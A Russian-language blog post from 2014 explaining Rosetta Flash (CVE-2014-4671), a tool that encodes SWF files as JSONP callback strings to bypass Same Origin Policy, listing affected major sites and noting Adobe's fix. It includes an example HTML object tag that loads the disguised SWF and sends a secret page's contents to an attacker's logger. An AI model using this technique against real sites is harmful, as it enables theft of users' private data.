...

воскресенье, 13 июля 2014 г.

Rosetta Flash — кодирование SWF для вызова из JSONP

Michele Spagnuolo, специалист по безопасности Google, написал утилиту, которая может закодировать любой SWF-файл любым словарем.

Зачем это нужно? Все очень просто — такой файл можно передать в качестве параметра callback в JSONP на сайте, с которого вам нужно получить информацию, таким образом, вы сможете обойти Same Origin Policy.

Эта проблема была достаточно давно известна, однако, ей не уделяли особого внимания именно из-за того, что получить SWF-файл, состоящий только из символов, которые можно задать как параметр callback, было крайне сложно, однако, сейчас такой инструмент появился.

Утилита использует zlib, алгоритм Хаффмана и брутфорс контрольной суммы ADLER32.

Из крупных сервисов, были уязвимы:



  • Сервисы Google (accounts.google.com, books.google.com, maps.google.com)

  • Youtube

  • Ebay

  • Instagram

  • Twitter

  • Tumblr

  • Olark




Как же уязвимость использовалась?




Предположим, есть два домена: подконтрольный нам miki.net и тот, который нужно атаковать trovatel.net

На trovatel.net есть JSONP-скрипт, который принимает параметр из печатаемых символов:



http://ift.tt/1y9M074

Имеется секретная страница, которая выдает секрет, если на нее зайти с установленной cookie



http://ift.tt/1mK4ois

При заходе на страницу http://ift.tt/1y9LYfo, пользователя ждет такой код:



<object type="application/x-shockwave-flash" data="http://ift.tt/1y9M0nk" width="1" height="1">
<param name="FlashVars" value="url=http://ift.tt/1mK4qa5">
</object>




Где http://ift.tt/1y9LYvI — скрипт-логгер.

Браузер пользователя загрузит SWF-файл как бы от сайта trovatel.net, откроет страницу с секретом (и с правильными cookie, конечно же) и отправит ее содержимое на удаленный сервер злоумышленника. Все довольно просто и типично.


На данный момент, Adobe выпустила обновление Flash Player, в котором эксплуатация данной уязвимости невозможна.


Ссылки




Информация в блоге автора

Более подробная информация в PDF

Утилита на Github

CVE-2014-4671

This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Комментариев нет:

Отправить комментарий